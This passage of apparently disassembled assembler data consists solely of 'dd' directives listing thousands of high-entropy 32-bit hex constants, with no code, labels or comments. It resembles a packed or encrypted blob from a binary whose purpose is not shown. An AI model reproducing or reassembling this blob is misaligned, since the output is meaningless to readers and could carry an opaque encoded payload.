		dd 905C208Eh, 0C53AE91Ch, 0B9C71780h, 0FCBD4Eh,	99F9DD15h
		dd 0AD5F2B28h, 782490ECh, 0AE306054h, 260EA8E8h, 81287307h
		dd 0D7FC9036h, 86B9CBEAh, 2AB4244Eh, 340BF824h,	67230E00h
		dd 24266360h, 0CB4Dh, 7A059FD1h, 0D00056B2h, 0C5CD4411h
		dd 59A05Dh, 2C4CF2D2h, 0AB77F738h, 41405658h, 4044C4FCh
		dd 552A600h, 0BD22D4DEh, 0FEF07486h, 5E9A0063h,	1844C3C5h
		dd 0DA002CF4h, 5B4EBAE7h, 0F924834h, 0CC018815h, 8740C525h
		dd 0D928E0B7h, 1D01CFDAh, 51FFBDA4h, 0FBE8D7D3h, 471700BBh
		dd 0EE8C9577h, 0A1FA328Ah, 0FD04F97Fh, 4A71BEAh, 18EB6880h
		dd 7A0B80EDh, 6A81071Dh, 0BC0152C7h, 0A1519B57h, 0A0408297h
		dd 34F34Dh, 54EF53A3h, 300F3303h, 264DC3Ch, 579E152h, 0F916C026h
		dd 0DF50796h, 905B24C1h, 278285E2h, 78A3B638h, 7FF8D700h
		dd 0F0889B06h, 0AB3C0090h, 0A9039893h, 0EC007E2Eh, 0A06EDF50h
		dd 39DAED6Ah, 0A10ACCCAh, 81D05609h, 72FA7182h,	8EC840FDh
		dd 4F708108h, 0A000BC98h, 3F731C06h, 7834110Dh,	8A490077h
		dd 0B19FC70Fh, 0CB008219h, 0EF32CF7Fh, 98F4C4h,	0B55D4007h
		dd 702BE334h, 0FDDE6400h, 0BFEC19Ch, 40F90086h,	1B07B046h
		dd 0E71696CAh, 1500127Ch, 3F4748F1h, 0AA9900BDh, 14C139D7h
		dd 0E5023852h, 9BC69A1Dh, 79514031h, 894204CCh,	806781FCh
		dd 2EC2B48h, 0B2090F72h, 0FA759A4h, 1C84F2Dh, 0C6A1472Ah
		dd 58F1DD8h, 0EE045808h, 502AC7AAh, 0D718BA29h,	0DF9D5500h
		dd 66BBC05h, 0B50A01CCh, 2E1EB1A4h, 3BD83329h, 0C7348133h
		dd 7520241Bh, 0A0DF0h, 91C9C19Dh, 0CE112B1Ch, 9F581700h
		dd 5D2F9445h, 0CAE6B6h,	3D993C31h, 8C83A385h, 0FF7738A0h
		dd 0B5EDD800h, 6B48BB8Fh, 3B907DB7h, 70007568h,	0D2BFD1C9h
		dd 0CC74D049h, 58247E00h, 0B8FA7319h, 0C4EB003Ah, 0CDFB1840h
		dd 0F100A651h, 0DDD7CA0Ch, 2C7F4C1Fh, 16B03EB7h, 0F204414Fh
		dd 2003F0F8h, 3B7BC6AAh, 0D6DA0200h, 48A1A331h,	0E5011362h
		dd 9F405DD7h, 0EFB2C2BDh, 0F448EA8Bh, 0E100E307h, 1FC2A359h
		dd 9FAD9E2h, 7A1328A8h,	0A10E10A1h, 0C0C0D2ADh,	980E462Bh
		dd 8E458019h, 1D069633h, 121F6BCh, 47A1F27h, 0F8E1375Dh
		dd 0C5102EF5h, 0FA0EF473h, 935E36BDh, 0DCFC59h,	2590F176h
		dd 96F7D8h, 0A68AA8B3h,	0FB2F6AFAh, 0D1ADAA00h,	7576519Bh
		dd 54711C98h, 14800C3h,	9352CA2Bh, 633BE93Fh, 0EC8FA8h
		dd 6D35EE60h, 0F3EB4753h, 9744F0E1h, 0B1FDE300h, 0FFE6E2D0h
		dd 6175075Bh, 0C924B9CEh, 7A20488Fh, 8D55A144h,	1CE2AD03h
		dd 5DCA4Dh, 602CE618h, 2BAB76B6h, 0F1383E70h, 5F7F98FEh
		dd 0FDA10920h, 2BF28040h, 2CCB016Bh, 0AB759B15h, 7AD5C4C7h
		dd 0E9E15303h, 6AA013Ch, 0ACFEFD18h, 0EC2C408Fh, 1607F739h
		dd 8F094CDh, 39F7074h, 0E78A99DEh, 2A09C5Eh, 40726DCEh
		dd 0DD67ED03h, 30E025BAh, 0CE091B18h, 0E083C2B8h, 0B4EC155h
		dd 0B0E83CBBh, 0E4A04580h, 0ED0FFA95h, 0E02E2A4Dh, 0CFFF99F3h
		dd 41966031h, 0B1304752h, 0ED7F100Ch, 68258D2h,	6EFC709Ah
		dd 64606928h, 0EBA06598h, 2418193Eh, 80BD6050h,	0A1E0AA71h
		dd 395247h, 26CBBA32h, 4B200CD2h, 9ECD1500h, 89028377h
		dd 13860075h, 49DD23B7h, 41008FA6h, 7EF32008h, 1C52A16h
		dd 77395663h, 407D1DC4h, 0E28C7FDEh, 0D251C175h, 0C6041E7Ch
		dd 14513931h, 8C6E32B8h, 0CF5B591Dh, 36C0833Eh,	31E82B1Bh
		dd 6E5224Ch, 71548F47h,	87F4229h, 10D4194Eh, 5B63848Eh
		dd 900C615Dh, 888A516Fh, 4100341Dh, 1F1895C0h, 0DA577Fh
		dd 1CA25211h, 0E0AD59E9h, 0EA53B000h, 0DF1DCF9h, 24BA7AD9h
		dd 1CBF399Ah, 773E7036h, 0A2075517h, 20033CF3h,	0CBC544E0h
		dd 62FB0408h, 80BA60FFh, 199FB37Dh, 0A7E8C202h,	804F83D7h
		dd 0F5DFCEC8h, 4D99006Bh, 0FA37716Fh, 0A2008091h, 0ACA62EE3h
		dd 0F182DFh, 0F0FC2517h, 0EC9D3EB9h, 33BB418h, 1FCE7E20h
		dd 0C0D126C1h
		dd 658CF82Bh, 4201E210h, 0B8D6F352h, 0E8F0BC24h, 0BE6400B3h
		dd 0DB9F84CBh, 1902B06Ch, 24B17E52h, 86CC80D7h,	3380826h
		dd 57CBC299h, 0EBC88F73h, 7601B2D4h, 0CB15C17h,	2CC98C3h
		dd 0E022501Eh, 94F10121h, 0C469C69Eh, 0E49FD05Fh, 8B037C00h
		dd 5350E295h, 0C5DE05CEh, 1AC385h, 5B93686h, 1FEE9779h
		dd 3321B100h, 5296E695h, 9FA100DCh, 94C82D2Fh, 3D0EBCE4h
		dd 0B081EEh, 0F46C96F8h, 813F480Ch, 0A2941B00h,	3533AD6Dh
		dd 0C349B800h, 9D548469h, 4E4B2ED2h, 38342872h,	0D05CD376h
		dd 127411Fh, 0EFA21EFh,	5031E07Bh, 23000571h, 1F0C624Bh
		dd 72D65F9h, 7212EC03h,	2E0E8084h, 0EF00FDC8h, 0FB8A5D16h
		dd 0A2CEAD4h, 93FC9CBCh, 0C35C07F8h, 0ACA18FBDh, 0FC6C26E6h
		dd 560B8D3Fh, 0AE952A3h, 8407FE2Bh, 40BEFD7Dh, 5133E16Bh
		dd 1BDE00C5h, 0AC215370h, 0E31437E4h, 4E0B883h,	76AAF27Bh
		dd 5E35ECC0h, 0B1280264h, 57A7F807h, 6DED7760h,	45004EEEh
		dd 0E6A2DBFDh, 428CCCh,	0A87A1640h, 47C178E5h, 1DF24E0Fh
		dd 0A4E017C4h, 0B8581D2Bh, 0AD790074h, 2FC7114Ah, 6267CF13h
		dd 56360F00h, 0A9FB6Ch,	0F71937FAh, 13B9241Dh, 0CB2EC503h
		dd 9759D5F4h, 5C7880F9h, 0E752A42h, 1AEC0CE4h, 73997740h
		dd 0D60EEA9Eh, 0A9A3F535h, 0BB00809Bh, 0BFDDAFCh, 0DE56A085h
		dd 0FEDB9901h, 0A864E0BEh, 1400F6B8h, 50F7D6A4h, 783CA190h
		dd 5BCA03D3h, 35B372EEh, 0E85986E1h, 9500FD96h,	8BCB8A92h
		dd 0C2568Eh, 64E7BE04h,	4E1C1724h, 83D14700h, 7E46A338h
		dd 3DE6B5h, 142DC5DDh, 9F67ADE9h, 7D5D6E03h, 0C81D7C3Fh
		dd 0E5B6EEh, 0FCC7AFDDh, 60BE898Fh, 4CEB8700h, 56E3D236h
		dd 0BFB600CAh, 92A5629Eh, 0DB600E54h, 0F7BEC218h, 0EA32FEC4h
		dd 0D29548CCh, 0C9929609h, 18CE0055h, 0EC5C44F6h, 0CFFE3F01h
		dd 3BEBB500h, 848D36D3h, 88733300h, 58213DB2h, 0CB60027h
		dd 44130189h, 15009174h, 0F36A35D0h, 19F90C1h, 0FBCCB5B8h
		dd 0FFE73DC5h, 38255080h, 5ECBC300h, 0DC03BBE9h, 80A0084h
		dd 86A05685h, 1E486BFAh, 479E00FCh, 1975A7F0h, 1AF10392h
		dd 3B448D7Ah, 14EF18C0h, 0B5B66D0Ah, 0AC00A002h, 66B20161h
		dd 0A8820377h, 8BFE4AB0h, 591778B8h, 0A13FAE00h, 0B524083Eh
		dd 1381001Ch, 4F72DBC1h, 2D3D18A9h, 0AE9B05B8h,	7040B43Ah
		dd 0DF172E9Ch, 3D890C2h, 711D2A32h, 8CE89A6Dh, 110B83C6h
		dd 0C75BF5h, 313F4760h,	41BA0377h, 0DC3CF784h, 0E6A0FB90h
		dd 291BF402h, 805127AEh, 3D1388A9h, 0A156005Ch,	3FFDB37Bh
		dd 75F2E396h, 0BD658E00h, 2AF951D4h, 66C600A7h,	96A8FF6h
		dd 70ECDB0h, 805C62FAh,	992ADC5Ah, 190F00F2h, 504D0AE0h
		dd 0ED00963Eh, 3A054CDh, 0FA393A9h, 0D8512163h,	9A89FA83h
		dd 0EAA4D0D0h, 0B1A64600h, 0D27F6FAFh, 35340FF2h, 9CA3B699h
		dd 0D9D0319Eh, 4D3C73B3h, 5D600017h, 0E48A8D6Ch, 17700B9h
		dd 0A6DEB4A1h, 0F000AACEh, 0E79FB028h, 24DA82h,	81100141h
		dd 0E6487BDDh, 2A61EA04h, 0B880956Ah, 0F64AE443h, 1F08074Dh
		dd 0A33F6D06h, 0CDC0A6E7h, 6A007F16h, 68DA0C5Ch, 4FC858h
		dd 12F51F74h, 78DD559Ch, 0FE704D00h, 162AED87h,	800A72ADh
		dd 0BA0B4F66h, 330CE3Fh, 880EA764h, 96235Dh, 5EA2CC43h
		dd 57E8415Fh, 0F6073876h, 97189253h, 0BE7E24C0h, 13B8A010h
		dd 0CC9307F3h, 0A1D12Ah, 1102DF78h, 0B450500h, 0CF73AD4Eh
		dd 79843BC7h, 1A544B80h, 29706F41h, 0BC0B9900h,	69AD012Ch
		dd 23EE00E3h, 0D10520A1h, 20C0789h, 102C28D0h, 6EB08Ch
		dd 0EEA141DCh, 0CAC095C9h, 463E0400h, 9B518810h, 0BCFE54h
		dd 66B6224Bh, 11442A4Eh, 91963Ah, 10B0327h, 0B09CF47h
		dd 0B7292839h, 2180538Eh, 84BC8595h, 2DAA0500h,	10FE4D4Ah
		dd 0DDA901D9h, 2C97F3D2h, 6A0BFC69h, 0B8F578B7h, 74330004h
		dd 991C3653h, 180755BAh, 11375C4Fh, 0AFE79880h,	75617F3Ah
		dd 0FECC008Ah, 0A536951Fh, 0A379035Dh, 273D4801h, 9C4C57AEh
		dd 503AF960h, 196D0A8h,	0BE780A06h, 0C83B321Eh,	5100C2A4h
		dd 31F02BB5h, 502583h, 9956A5A1h, 48B339C4h, 9FAE1400h
		dd 4D7D90BAh, 0ECCAEC35h, 668F00F5h, 0F94A6AEEh, 7F3FC182h
		dd 891B1C4Ch, 0F8B906C3h, 0DC700053h, 1E8FDB69h, 0E613A4F0h
		dd 7E0303BFh, 809ECA66h, 3F44BB3h, 0C504481h, 43B856A6h
		dd 300003DCh, 40272853h, 11E885h, 6792A844h, 0E960A6A4h
		dd 1D0016EEh, 95454073h, 49710h, 79230946h, 0CEBE0C89h
		dd 3000DCE2h, 9E4F1CE4h, 190D4h, 0A13A612Fh, 0E1BC79B0h
		dd 477E2E00h, 0EABFD1Ah, 513C026Ah, 0C501D484h,	0A31526C0h
		dd 667AC300h, 0A7F53109h, 2D4E0A69h, 9AAF71h, 0DC492A5Eh
		dd 82007A33h, 0E0054DCFh, 3BE992F0h, 5900D2F8h,	0B846232Dh
		dd 0A5000418h, 2F24305Fh, 72E13D0h, 0D136B5B3h,	6181FFB7h
		dd 204E0748h, 3F119104h, 7900ED7Eh, 0B1A73892h,	0CE3BDB67h
		dd 0D4E380DDh, 0A3B8877Eh, 61C10035h, 0B28FB0BEh, 0F514DED3h
		dd 2C0D8EDh, 0C1ECCFEEh, 1A8AE029h, 7BC90274h, 0D5F8EBAFh
		dd 37DFBFC0h, 3366F301h, 0A776ADF6h, 82E42BC5h,	9752002Dh
		dd 0B9FF173Ch, 0B3ECE311h, 79628016h, 0D9C1D800h, 25BB8Ah
		dd 0CDE601F4h, 2D75A560h, 0B0F5A43Bh, 0E46112Bh, 742000EBh
		dd 676F027Eh, 0B1001887h, 0D4F5312h, 6DC415h, 1F2CFE4Ch
		dd 3FC8A5Ch, 80044600h,	0DBB5D693h, 260239DDh, 90E22280h
		dd 0C7CEA1EAh, 68C38B00h, 0F0AB608Ch, 0AB40FD0Ah, 1EA49833h
		dd 4FB1EF75h, 5EA06B72h, 0F4AE6530h, 0A92FC509h, 8F6460D9h
		dd 0CFB102E8h, 3580AC1Dh, 39E215E0h, 0BB603C0Fh, 7D558752h
		dd 427B33F0h, 5C1C0219h, 5D3E6F20h, 490824E0h, 3D006CB0h
		dd 121B8C69h, 38DD6C6h,	6A8BA2B2h, 684CDEF1h, 0FB0F009Ch
		dd 8744D950h, 3117EA31h, 589EBDDh, 0AF2985DAh, 0A6C3869Bh
		dd 2B38A0E3h, 5118C099h, 85309F13h, 83CB4207h, 0E6B069D1h
		dd 3ED516h, 0B5728D59h,	0C3765F62h, 3B400600h, 80A2DC86h
		dd 0A65E306Ah, 9B196D40h, 4CC64128h, 71685160h,	83EF94h
		dd 785EF93Dh, 0EDE1DEAEh, 64A70B0Eh, 0FE31A09Dh, 47FC9Ch
		dd 4EC805F7h, 0A05794B8h, 0E4536B00h, 0A98FD4EFh, 2B6E00EEh
		dd 8C5B23E8h, 95F031E1h, 64363D07h, 0F1503C8Dh,	3DB7CFEh
		dd 0DAC42E68h, 85B8CBBDh, 0F704E1ABh, 28B77EF9h, 143F91C0h
		dd 0D7A7007Dh, 3EB8CC74h, 4C00E550h, 3D5BF194h,	0F8DECDFh
		dd 410FC518h, 785130E0h, 0A001CFEh, 4E7AB886h, 0A6A03Bh
		dd 8E98EA0Fh, 0CB9B7921h, 180B1500h, 5D8D279Ch,	0AE3200FDh
		dd 0DC4A22C9h, 70FEF971h, 3BE04103h, 0C04F08EDh, 121C5786h
		dd 0C0063AE9h, 0C53ACDCh, 9A0E6F13h, 0A8CF6E00h, 7A34694h
		dd 57C0BE43h, 50B11060h, 820055FDh, 0A1B9F7C9h,	3DEBB16h
		dd 628377A7h, 51001035h, 181FD357h, 9BFCE8h, 44F79848h
		dd 8D9AE76Ah, 14B6AC02h, 70E454F3h, 57BA3EA4h, 0F17CA887h
		dd 0CCA4C04Eh, 0AB244187h, 0E0991D0h, 7ED8C0FAh, 9121000Ah
		dd 1FEF8E18h, 3C077F94h, 985C9010h, 0D2B45047h,	3D87E700h
		dd 9706CD41h, 8332302Eh, 4230C0F6h, 6E9DE2C7h, 8718D500h
		dd 26FEAF0h, 40794E10h,	953E83ECh, 9F7C1BADh, 49CA4C00h
		dd 46A1B63Dh, 6EFA18E0h, 0AB02F8ECh, 11593F19h,	7D202939h
		dd 0D4D900F4h, 0B5B7F231h
		dd 0E12C912Ch, 0B400A093h, 69596A4Bh, 5530C742h, 0EB4F5012h
		dd 3600EC91h, 6EF22A60h, 3A0A791Bh, 9CA4E0D9h, 0C79306B4h
		dd 0F15610C4h, 4B6BE004h, 7810C082h, 1F5DACDCh,	0C0367A00h
		dd 0C3488CDAh, 2A230089h, 0CF7D416Bh, 4B327FC4h, 20D229E2h
		dd 0C6EBA386h, 0A519D03h, 81B2E8D0h, 0FCE0CAF7h, 901600DEh
		dd 0D372C0C5h, 0F60006E1h, 0EC10A67Dh, 618B42h,	8ABF735Eh
		dd 28087FE8h, 0F1161400h, 0A81B4C75h, 0F180048h, 21413B47h
		dd 8C00EACEh, 0B5E89007h, 529C5Ch, 51D7C6A5h, 0ECBA03B8h
		dd 0F821E500h, 0A48355D9h, 5449001Eh, 2E89285Dh, 0FA0086DFh
		dd 33C7084Dh, 0FA3DAE0h, 1E8EDDEh, 0B7C01B61h, 9047E5h
		dd 34BFF75Bh, 0D71C6600h, 11D8D6FDh, 3346004Eh,	0E5F608CEh
		dd 0A202CFD0h, 0E99CAC82h, 5C83E036h, 4113007Eh, 1F74263Dh
		dd 8C036C49h, 1B8EABFFh, 0B07807FDh, 0F0C547EAh, 97BA9DB8h
		dd 4453700h, 0E235FB3Fh, 23B3006Bh, 0E8DE8543h,	0A200D55Bh
		dd 9F47AE86h, 256A76h, 0E77D8364h, 8E82A94Eh, 0E86E000h
		dd 0D2BE8870h, 8D1002Eh, 6EB9F007h, 0C575BF97h,	0C18C9900h
		dd 76BE59A8h, 0B5532E5Fh, 62D9003Fh, 837F503Ah,	0FC9EA72Ch
		dd 8868003Dh, 7D583F1Fh, 3E340096h, 95DB3191h, 87488351h
		dd 7CCC261Ch, 17DD6800h, 0FCDF21Ch, 0AE75CE08h,	0DFE81A00h
		dd 763AD70Bh, 34870056h, 0C792FFD9h, 9FFC01E0h,	0B42C1E51h
		dd 78EDEC58h, 0DE9E8F00h, 6E7D39C0h, 4C82001Ch,	7E0A5AC5h
		dd 55008BF7h, 0DB02AFCFh, 71D559h, 9E12C783h, 0F9DD7B13h
		dd 7C7DFC00h, 8E2E1193h, 25E601E1h, 0BB14A8C0h,	7AC5308Ah
		dd 0E50A3A00h, 41BEAC57h, 90020047h, 0E1EDF631h, 0B9004D39h
		dd 0D7F79B1Dh, 94AB5Ch,	470A0776h, 4B1105C6h, 242A2C3Fh
		dd 0C40052FFh, 0C970384Ch, 1292004Ah, 4D8B3A33h, 8E002FF6h
		dd 866C5098h, 0D6F776h,	58A52688h, 7D40127Ah, 0CF1F7F00h
		dd 0F96BAB9Eh, 0F8681E7Bh, 0D75F8A2Eh, 9CEE0780h, 74C551CAh
		dd 0E3803017h, 542A2400h, 3728580Eh, 5A655C0Fh,	2670C700h
		dd 17F3ACF2h, 0DD847750h, 0C546D106h, 17F0B944h, 1F4E29A7h
		dd 1B6642CCh, 2068DB17h, 0AC01359Fh, 0FF0F2224h, 0D82060AFh
		dd 5E200732h, 1025A693h, 4D0C3957h, 4A26AAFEh, 1F804AB2h
		dd 1734813Dh, 830F004Fh, 22957DD0h, 461DDBFBh, 4440E580h
		dd 675E895Bh, 0A7350F93h, 2FCEC95Ah, 0B20A1A20h, 100DA59h
		dd 2EF43C98h, 481D4325h, 5048EFB5h, 804D7B14h, 0A0C11000h
		dd 9FBAD9B6h, 1AFCF300h, 0CBEB3A71h, 0E5D43C98h, 279E9A02h
		dd 0E44078A0h, 0E1C09480h, 0EADD1840h, 0B775001Ch, 67297B2Ah
		dd 0BA00F08Fh, 2CDAE5F8h, 3C565C05h, 6B0052C9h,	757B1E78h
		dd 0A100077Eh, 196EF1A5h, 0F64AE7h, 0A7595C89h,	0BA02AA44h
		dd 0BCFE8400h, 75EA570Dh, 0A08000FDh, 157EFCCDh, 0AF01EBF6h
		dd 8681BE92h, 0E0E8D2C1h, 0D44A00F0h, 5ADD25FCh, 0A9C0556Bh
		dd 9967214Ch, 43054C19h, 49743E03h, 0CEC05D96h,	470738C1h
		dd 4BBA9F52h, 0DA6B62E0h, 0A540E73h, 20A0AA80h,	3492CE2h
		dd 4C81B000h, 511575E4h, 0E41767Dh, 3F610A9Ch, 5FC0D44Eh
		dd 543D0242h, 0B03ECC00h, 0E1844DFEh, 61D6001Fh, 0D9BF46BCh
		dd 94009566h, 21DDD558h, 390E7822h, 4E802E0Ah, 7CF1C4B0h
		dd 0D33E0523h, 4A9E8037h, 0A2BC5BB1h, 589B00BAh, 0C3A42A3h
		dd 0EB00CE2Bh, 62300626h, 7434C7Bh, 0ACE0288Ah,	5FA1604Ah
		dd 0F50059B4h, 0D9490664h, 0F56B35Dh, 0F97E95B9h, 0BE7B35A0h
		dd 8A05DBCAh, 32D392DDh, 608C0FC2h, 0BFCBA2h, 5D80742Ch
		dd 0E4A7FAE9h, 0B81C0A01h, 0A5CD35F9h, 2482A760h, 1E7E81FDh
		dd 0E7840077h, 5F56AD0h, 0A2FED107h, 7496E26h, 1E0EBA74h
		dd 0AD27E000h, 72B3C49h, 0B29D65F3h, 285510B8h,	90006AF2h
		dd 3C85AEDFh, 17CD25h, 91BF7B33h, 1CCC2C38h, 0D18F3600h
		dd 0CF541E8Bh, 68170161h, 966DD577h, 0AC608318h, 0A3DAC68Eh
		dd 0E859C00Fh, 654338ECh, 307F1974h, 815F8846h,	2667110h
		dd 18407A9Ah, 31B1A6Dh,	0A45F4AA9h, 0BFA1C2A5h,	0A73960F5h
		dd 1AAD5E00h, 9E81B0Ch,	6D5400ECh, 0CC5DC815h, 0E30662D2h
		dd 0BA142A95h, 0A30F0088h, 0BC995F3Ah, 0D10CFFCCh, 0B6AA6616h
		dd 0FC7B05DFh, 0B84E1Bh, 0C304605Ch, 0CC0C773Ch, 191A656Dh
		dd 0DAED0098h, 8B1BF457h, 2070ABFCh, 0BB4C2518h, 0EDC369h
		dd 9BB13215h, 7F2814B8h, 0E4D05F00h, 0CE92CB2Dh, 31C400A6h
		dd 0E64FF9EEh, 0B90EED35h, 3DE2C60Dh, 873EFA40h, 0A4D20h
		dd 920B600Eh, 48588B56h, 5320FD71h, 652603D8h, 57326F81h
		dd 20A877E1h, 350CF00Eh, 0B1197F51h, 36D3008Fh,	0CC147396h
		dd 78F2F6FBh, 8D0FA439h, 29E866CEh, 106E0h, 6AA5AAA3h
		dd 1AAB0C58h, 8306074h,	897420E7h, 363E00C0h, 0C830BB52h
		dd 73007AD1h, 0F6F512BCh, 296559EAh, 1E0D7F8h, 1B0A9AE0h
		dd 3822FFh, 95E7A70Ch, 0E1CB462h, 20CC25E3h, 0E5210D8Ch
		dd 60E7BF00h, 0C4F25E15h, 0CE34E0BDh, 0E101FBA1h, 0E0BCB546h
		dd 0D1C90745h, 0DF140055h, 0B8A6E005h, 828880B1h, 1D9D1828h
		dd 4EEFE10Ch, 150A348h,	8FFF3A43h, 0E4D0C3FCh, 0D820C727h
		dd 0E1003B17h, 54A15C19h, 0CA4E7100h, 0A6E12881h, 583B602Fh
		dd 0A9FBE861h, 3921D703h, 0C07855CFh, 0DFF15Bh,	0F47F25D1h
		dd 5E2A35E3h, 7AC33300h, 154F6786h, 0C07D4B3Ch,	43902083h
		dd 460C9800h, 0D2729C47h, 83B00E5Dh, 0F7A04FB4h, 5407977Dh
		dd 231D39h, 15BE8DFBh, 1E3C01A5h, 81F1E7C6h, 0A8908FB0h
		dd 0FB60E279h, 0C8008631h, 320FE1CCh, 3F385FF9h, 81806066h
		dd 1BFEE89Fh, 0B3004784h, 0C942C7Eh, 0D9E1D4h, 0DD073B87h
		dd 83995396h, 24866800h, 5BDEFA71h, 72A737Fh, 7EC78A79h
		dd 0A5AE7120h, 446FFC04h, 4DEF4E0Fh, 898F40A3h,	74BFFCDh
		dd 0BBD19819h, 0E7A64312h, 85002079h, 638DE989h, 7F9CB7Ah
		dd 0DF1C7E4Eh, 0C2907CA8h, 78A53201h, 5064C079h, 0AF82B080h
		dd 779F44A9h, 0F14DFA01h, 98AE6A58h, 0C9837980h, 651BF93Bh
		dd 1A72B507h, 1443B4BDh, 0DA20004Fh, 0F0D53BE8h, 850D9960h
		dd 68D91826h, 46C85C06h, 898C016Eh, 1263FF2Eh, 0BD888D0Ch
		dd 16890383h, 4ACEEAA0h, 9144D7B1h, 0F4846998h,	0CD7D813Bh
		dd 154C52B6h, 3B1FD920h, 0F0CDFC02h, 846B302Eh,	0B2ED9048h
		dd 51135C01h, 0DAC4661h, 78203Ch, 2AB08C54h, 0A7E83FD9h
		dd 0B65F7600h, 0C526AD8Fh, 81E0007Ch, 94F8ACE2h, 0DE003D75h
		dd 0E65FDD43h, 0EC9F6Ah, 5D7F6F8Ch, 75A120Bh, 7E62D600h
		dd 0B8C96CCBh, 0F83600E9h, 0C8B6F97Ch, 0C008088h, 0DBCEE6B3h
		dd 0EAD06B15h, 40B42E58h, 99B005Dh, 559C96BBh, 0AF63A500h
		dd 1ADEC17Eh, 0A26C0640h, 8BA1E02h, 9D7D0700h, 39704404h
		dd 8CB6A0A3h, 2E7600B5h, 0BF5B01F6h, 80187BA2h,	5F30AEDEh
		dd 3224072Dh, 0E3444F1Ch, 0ECE0A856h, 20C33938h, 7E7A57BFh
		dd 920D0008h, 95BAAF2Fh, 41C3ED3Ch, 60555h, 0F5C0A520h
		dd 0DC66B1C9h, 21C55200h, 1E39193Dh, 1CA1D4AEh,	826F140Fh
		dd 0EA8E7FC9h, 0D1D43DABh, 4804313Bh, 0A98C67B4h, 0F2399587h
		dd 1A917F60h, 13B9FBh, 6E21C0E2h, 0D89AC6DDh, 0CB9B5206h
		dd 3048BF1Ch, 0B43145F2h, 4807FA74h, 75FD104Fh,	89180D61h
		dd 0E065EADBh, 0DC22FC02h, 0D31F4A70h, 0F48D808Ch, 0CCD1308Ch
		dd 8282693Ch, 24132808h
		dd 252F20A2h, 0ACF6EEA8h, 0DB206751h, 0D6E02100h, 8D56A6BDh
		dd 0DB2D0092h, 24E35397h, 0C83E6704h, 0EEFF0A37h, 2788B829h
		dd 5D86BB76h, 11CCA056h, 74A1A20Ah, 850010F2h, 512D5836h
		dd 0F75F05B4h, 814A1B5h, 1B810DD4h, 0EFCE0A25h,	4021883h
		dd 997CA592h, 0E2A38200h, 0E7530516h, 0B8CB5214h, 0F0ED1871h
		dd 8141515Fh, 30443E41h, 0DCFA2001h, 0ECC4072h,	2108601Ah
		dd 25B28865h, 0D41EE273h, 555F90F6h, 1CCC54h, 983C7E3Eh
		dd 3A5D0DAFh, 0D451286Ah, 0A06122FFh, 0A3ECD800h, 8149B540h
		dd 0FA37B8D7h, 264C002Fh, 0C2D587B4h, 950AE539h, 0A0C6F804h
		dd 4DD86798h, 0D8C1099Dh, 38131FABh, 0FB923DC1h, 3311480h
		dd 26687000h, 279BE211h, 0FA731DBh, 53AD51F8h, 8313AB0h
		dd 0AED299A3h, 67A7FC00h, 0C3CD1602h, 408A1FB9h, 0C2DF8650h
		dd 12FA021h, 21B2C0AFh,	10886D60h, 920457B6h, 0C8223C94h
		dd 0A712B300h, 93216DBCh, 85089E1Dh, 4F40B718h,	0A18D4CC8h
		dd 0C8A32414h, 2205F984h, 72A821ACh, 3718D0C3h,	0B1D210Fh
		dd 5697815Ah, 2BD405D7h, 5C1A3068h, 0E1AE4F39h,	672A1E09h
		dd 77E0113Bh, 1139B987h, 1BDF41AAh, 0DCABD9ACh,	79005392h
		dd 5A7EE767h, 6025121h,	6B5FF282h, 249198A2h, 21E3398Eh
		dd 0AD1E794Ah, 0B0D3A180h, 34A351F8h, 39102600h, 49D0752Bh
		dd 2400900Eh, 497430A0h, 4AC05D08h, 0EF0A63E0h,	47886CF0h
		dd 0E112A500h, 474E28Fh, 0C9B800BCh, 0ADF17E57h, 49C67C24h
		dd 0F15919h, 0D168955Fh, 0F5B7F4FCh, 0D320C401h, 53A4702Fh
		dd 14C99730h, 0BCA202A9h, 70809637h, 0FAB2A93h,	0E0A268EEh
		dd 2C9008B2h, 49588D6Ah, 0FD851ED0h, 628893C3h,	0EB81223Fh
		dd 0FF63F31Eh, 0E0CEABC0h, 0CC977EDh, 0A41E7D15h, 0F0B5F649h
		dd 0A05EE12h, 0DF8E3D26h, 68B61E8Ch, 3DBCFC4Ch,	4DB3A008h
		dd 0F8BA6789h, 10119C9Bh, 191878B9h, 0EC528155h, 0E96E0B19h
		dd 74488F51h, 29ED601Ah, 21205DF9h, 9E4EC000h, 0CE3F2C1Eh
		dd 0B6623F0Eh, 0D581AD81h, 86148C41h, 0A82A6631h, 0DCBB4C89h
		dd 0BD81AC81h, 5F10840Fh, 789006B0h, 3F9534h, 6258A638h
		dd 0E2278D96h, 0F6586960h, 401F7106h, 0A10707A5h, 0EA27C590h
		dd 0A73025C9h, 2DECC031h, 3C4CD425h, 0BC0B003Eh, 0AA481183h
		dd 0C8999C89h, 77C58286h, 41B90031h, 0A7170401h, 7C04F55Fh
		dd 30AA9AABh, 545CDC88h, 0A5B66C7Fh, 0E38183A8h, 1ED83111h
		dd 451930Dh, 0AC80444h,	9F0C8924h, 8655C45Fh, 1FE482F0h
		dd 75008C44h, 0DFE5FF62h, 3E17327h, 0EDC161B7h,	0E811A972h
		dd 1C484353h, 5A298BC0h, 2500164Ah, 9ED17841h, 64DD667Dh
		dd 405EA92Fh, 82E8D938h, 45E00071h, 9E542F39h, 8C091DDCh
		dd 91330DF6h, 91A409F8h, 14850830h, 3E0F54A2h, 0E37C1AF6h
		dd 98FFC3B5h, 2E0A8B06h, 400C56E9h, 389B7217h, 16F73C05h
		dd 0C043AF95h, 7BDB719h, 8AF58848h, 7C51C0B5h, 0CA1FB6BAh
		dd 55854CE0h, 0F431FBECh, 91A642F2h, 52870080h,	120F013h
		dd 64AF5500h, 4AF2C884h, 52D3EC2Eh, 0A00D873h, 0B660958Fh
		dd 6A4804F9h, 1CF783B0h, 44AC9A93h, 0ABEF014Ch,	7ED80E5Bh
		dd 72845066h, 0EC9802F7h, 4C399660h, 430368h, 10CA0A4h
		dd 6E1D529Bh, 77ADA100h, 0BE091FBDh, 3FE0B1E7h,	9C984CA2h
		dd 0D110EA42h, 0C44F00AEh, 0A1FBCDB7h, 40851252h, 0B0104A41h
		dd 8F2C40F0h, 7207F70Fh, 5A97CA42h, 0D380C615h,	18E9ADBCh
		dd 705C952Bh, 0A9C0A71Eh, 6D5489E5h, 17711783h,	0DAD860EDh
		dd 590758BDh, 85246AC7h, 8EB07C90h, 9C235254h, 212D4501h
		dd 240EE230h, 2288A368h, 68064D32h, 0C0CC39C0h,	4D139A29h
		dd 0B905424Ch, 48427916h, 0C06BBF0Eh, 0BAE1A05Bh, 10F4A040h
		dd 0CF08C438h, 523C8111h, 50811550h, 99168AD4h,	0C1ADBB17h
